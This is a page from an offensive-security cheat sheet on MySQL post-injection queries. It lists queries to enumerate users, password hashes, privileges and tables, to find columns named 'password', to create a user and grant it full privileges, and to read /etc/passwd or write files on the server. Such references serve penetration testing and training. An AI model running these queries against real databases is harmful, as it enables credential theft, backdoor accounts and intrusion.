pwny.cc
  • Home
  • SO
    • AI
      • Evasion
        • Exercise 1
        • Exercise 2
        • Exercise 3
        • Exercise 4
    • Android
      • adb
      • apktool
      • burp suite
      • dns spoofing
      • frida
      • intent
      • jadx
      • JNI
      • objection
      • tcpdump
      • webview
    • iOS
      • objection
    • Linux
      • Internal Recon
      • Bypasses
      • Network
      • Exfiltration
      • Containers
      • Iptables
    • Windows
      • Internal Recon
      • External Recon
      • Bypasses
      • Network
      • Exfiltration
  • SHELLS
    • Misc
    • Web Shells
    • Reverse Shells
    • Obfuscated Shells
  • WEB ATTACKS
    • Misc
    • Command Injection
    • Cross-Site Scripting (XSS)
      • XSS Tips
      • WAF Bypasses
    • Insecure Direct Object Reference (IDOR)
    • Insecure File Upload
    • Local File Inclusion (LFI)
      • Bypass Techniques
      • LFI to RCE
    • OAuth
    • Open Redirect
      • Open Redirect to XSS
    • Server Side Request Forgery (SSRF)
    • Server Side Template Injection (SSTI)
    • SQL Injection (SQLi)
      • SQLMap
      • MySQL
      • MSSQL
      • Oracle
      • PostgreSQL
    • XML External Entity (XXE)
  • OTHER
    • Cracking
      • Hashcat
      • John the Ripper
    • Sandbox Escape
Powered by GitBook
On this page
  • Version
  • Comments
  • Current User
  • List Users (PRIV)
  • List Password Hashes (PRIV)
  • List Privileges (PRIV)
  • List DBA Accounts (PRIV)
  • Current Database
  • List Databases
  • List Tables
  • List Columns
  • Find Tables from Column Name
  • Hostname, IP Address
  • Create Users (PRIV)
  • Delete Users (PRIV)
  • Make User DBA (PRIV)
  • Location of DB Files
  • Read Files (PRIV)
  • Write Files (PRIV)

Was this helpful?

  1. WEB ATTACKS
  2. SQL Injection (SQLi)

MySQL

Some of the queries in the table below can only be run by an admin. These are marked with (PRIV) at the description.

Version

SELECT @@version;

Comments

SELECT 1; #comment
SELECT /*comment*/1;

Current User

SELECT user();
SELECT system_user;

List Users (PRIV)

SELECT user FROM mysql.user;

List Password Hashes (PRIV)

SELECT host, user, password FROM mysql.user;

List Privileges (PRIV)

#List user privileges
SELECT grantee, privilege_type, is_grantable FROM information_schema.user_privileges

#List privs on databases (schemas)
SELECT grantee, table_schema, privilege_type FROM information_schema.schema_privileges;

#List privs on columns
SELECT table_schema, table_name, column_name, privilege_type FROM information_schema.column_privileges;

List DBA Accounts (PRIV)

SELECT grantee, privilege_type, is_grantable FROM information_schema.user_privileges WHERE privilege_type = 'SUPER';
SELECT host, user FROM mysql.user WHERE Super_priv = 'Y';

Current Database

SELECT database();

List Databases

SELECT schema_name FROM information_schema.schemata;
SELECT distinct(db) FROM mysql.db

List Tables

SELECT table_schema,table_name FROM information_schema.tables WHERE table_schema != 'mysql' AND table_schema != 'information_schema'

List Columns

SELECT table_schema, table_name, column_name FROM information_schema.columns WHERE table_schema != 'mysql' AND table_schema != 'information_schema'

Find Tables from Column Name

#If you want to list all the table names that contain a column LIKE '%password%':
SELECT table_schema, table_name FROM information_schema.columns WHERE column_name = 'password';

Hostname, IP Address

SELECT @@hostname;

Create Users (PRIV)

CREATE USER test1 IDENTIFIED BY 'pass1';

Delete Users (PRIV)

DROP USER test1;

Make User DBA (PRIV)

GRANT ALL PRIVILEGES ON *.* TO test1@'%';

Location of DB Files

SELECT @@datadir;

Read Files (PRIV)

SELECT LOAD_FILE('/etc/passwd');

Write Files (PRIV)

SELECT * FROM mytable INTO dumpfile '/tmp/somefile';
PreviousSQLMapNextMSSQL

Last updated 3 years ago

Was this helpful?